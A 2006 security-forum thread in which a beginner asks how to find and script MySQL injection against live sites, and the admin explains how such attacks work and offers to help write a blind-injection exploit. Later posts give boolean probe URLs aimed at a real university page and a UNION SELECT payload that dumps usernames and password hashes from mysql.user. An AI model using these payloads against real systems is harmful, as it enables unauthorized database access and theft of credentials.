Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
May 31, 2020
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 586
Members: 0
Total: 586
PacketStorm News
Currently there is a problem with headlines from this site
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> MYSQL Injections(In PHP) - Vulnerability Check
Post new topic  Reply to topic View previous topic :: View next topic 
MYSQL Injections(In PHP) - Vulnerability Check
PostPosted: Fri Jun 09, 2006 2:34 am Reply with quote
Best18
Beginner
Beginner
 
Joined: Jun 09, 2006
Posts: 3




I have read alot on sql injections on the net regrding asp but what i want to know is php, hope you ppl can help me answer my questions:

1) From the net, it seems that sql injections is done be manipulating the URL or just putting some query in the field (e.g login form). But i heard that there is "MYSQL injections script", is it possible to make one?

2) How to know if a site is vulnerable to sql injections? Take this HYIP site as example: http://www.pi*******s.com

<< No real url-s please >> [[==waraxe==]]
View user's profile Send private message Visit poster's website
PostPosted: Fri Jun 09, 2006 4:42 am Reply with quote
Chb
Valuable expert
Valuable expert
 
Joined: Jul 23, 2005
Posts: 206
Location: Germany




1) Yes, it is possible to write a script, which tries automatically to do SQL-injection. But if you want to have such a script: Write it by your own.

2) Please read the rules and escpecially about URL-posting.

_________________
www.der-chb.de
View user's profile Send private message Visit poster's website ICQ Number
PostPosted: Fri Jun 09, 2006 9:51 am Reply with quote
Best18
Beginner
Beginner
 
Joined: Jun 09, 2006
Posts: 3




Thx Chb for replying but isn't this a place to learn Confused ,anyone willing to tell me how to go abt starting the script. I know MYSQL and I know what Tables i'm going to updates, etc but i'm just wondering how to start the script Rolling Eyes and how many scripts for that

<Sry abt the URL but i can't seems to find the rules LOL Very Happy )
View user's profile Send private message Visit poster's website
PostPosted: Fri Jun 09, 2006 3:16 pm Reply with quote
Chb
Valuable expert
Valuable expert
 
Joined: Jul 23, 2005
Posts: 206
Location: Germany




Best18 wrote:
Thx Chb for replying but isn't this a place to learn Confused

Did I say anything else?

Quote:
anyone willing to tell me how to go abt starting the script.

Wow, you're a hacker because you know how to start a script... Rolling Eyes I'm sorry, but I prefer to tell you, how to learn what you're doing and not how to use some f*cking scripts. You should write the scripts. Wink

Quote:
I know MYSQL and I know what Tables i'm going to updates, etc but i'm just wondering how to start the script

You don't need any scripts.

Quote:
<Sry abt the URL but i can't seems to find the rules LOL Very Happy )

In the first forum of waraxe... There is a thread called "THE FORUM RULES". I don't know but maybe are there the rules. Wink

Just my oppinion.

_________________
www.der-chb.de
View user's profile Send private message Visit poster's website ICQ Number
Re: MYSQL Injections(In PHP) - Vulnerability Check
PostPosted: Fri Jun 09, 2006 6:48 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




Best18 wrote:
I have read alot on sql injections on the net regrding asp but what i want to know is php, hope you ppl can help me answer my questions:

1) From the net, it seems that sql injections is done be manipulating the URL or just putting some query in the field (e.g login form). But i heard that there is "MYSQL injections script", is it possible to make one?

2) How to know if a site is vulnerable to sql injections? Take this HYIP site as example: http://www.pi*******s.com

<< No real url-s please >> [[==waraxe==]]


First of all, that specific website seems to be very secure. Most of the various online game sites are secure - because there are too much script kidd0s, trying to take them down.
Next - MySql is hard to exploit RDBMS, compared to MSSQL, Oracle and PostgreSql. If you know table and column names, you are interested of, then still there can be problem with UNION support - if MySql has version < 4.x, you are out of luck.
Finally - those exploit scripts and other software. You can use them, if you want to do some mass defacement, but in case of one specific website I suggest manual working.
If you will find "blind" sql injection hole - without any visual feedback, then this is the case, when you have to write exploit script. In perl, in php, in any language you like. If you have found this kind of sql injection case and want help with exploitation - give me more details and I can show, how to write such script - in my case I prefer php CLI Smile
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Jun 10, 2006 3:03 am Reply with quote
Best18
Beginner
Beginner
 
Joined: Jun 09, 2006
Posts: 3




If you know the site i posted, you'll know that many (MOST) such sites use the same script and hence will have the same database. The problem is some has did some precaution but some not, so may be using script will makes thing easier.

Hmm warexe, may i know how to go abt finding "blind" sql injection hole? Idea

And it's great if you can show me how to write scripts for such hole. What details do you need Rolling Eyes

Quote:
Did I say anything else?

You said write it by your own Wink
View user's profile Send private message Visit poster's website
PostPosted: Sat Jun 10, 2006 10:29 pm Reply with quote
Chb
Valuable expert
Valuable expert
 
Joined: Jul 23, 2005
Posts: 206
Location: Germany




Best18 wrote:

Quote:
Did I say anything else?

You said write it by your own Wink


Yes, because you would learn something at writing it. Wink

_________________
www.der-chb.de
View user's profile Send private message Visit poster's website ICQ Number
PostPosted: Wed Sep 13, 2006 3:50 pm Reply with quote
trace
Regular user
Regular user
 
Joined: May 17, 2006
Posts: 8




Like this:
http://dukemednews.duke.edu/av/video.php?id=5115/**/and/**/1=1/*
http://dukemednews.duke.edu/av/video.php?id=5115/**/and/**/1=2/*
http://dukemednews.duke.edu/av/video.php?id=5115/**/and/**/mid(version(),1,1)>3/*
................
Go on...
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Sun Oct 08, 2006 9:44 pm Reply with quote
easy_management
Regular user
Regular user
 
Joined: Nov 24, 2005
Posts: 12




try this link Wink
http://xxxxxxxx/av/video.php?id=-1/**/union/**/select/**/0x3C62723E757365723A20,user,0x3C62723E70617373776F72643A20,password,0x3C62723E6D7973716C2076657273696F6E203A,version(),null,null/**/from/**/mysql.user--
View user's profile Send private message
MYSQL Injections(In PHP) - Vulnerability Check
  www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB 2001-2008 phpBB Group






All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.066 Seconds